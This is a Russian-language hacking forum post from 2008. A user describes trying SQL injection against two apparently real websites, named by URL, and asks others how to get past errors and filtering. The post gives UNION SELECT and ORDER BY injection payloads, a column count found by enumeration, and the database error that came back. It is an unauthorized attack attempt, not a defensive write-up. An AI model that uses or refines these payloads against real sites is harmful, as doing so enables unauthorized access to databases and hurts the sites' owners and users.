|
Постоянный
Регистрация: 16.03.2007
Сообщений: 380
Провел на форуме:
1404552
Репутация:
568
|
|
есть трабла..
http://www.mymaika.ru/item.php?id_fon=34&id_swf=1117&id='1'+and+union+se lect+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18, 19,20,21,22/*
подобрал колонки 22 штуки.. через +order+by+22/* иньекция происходит в where clause
You have an error in your SQL syntax near '' and union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 ,21,22/*' at line 1
пробвал использовать and но не получилось...
закрывал скобки по разному.. тож нече..
пробвал обходить фильтрацию.. нифига.
или сдесь:
http://www.hitech-online.ru/boards/pc/weblinks.html?start=9999+union+select+1/*
подскажите что делать?
Последний раз редактировалось sabe; 22.06.2008 в 11:14..
|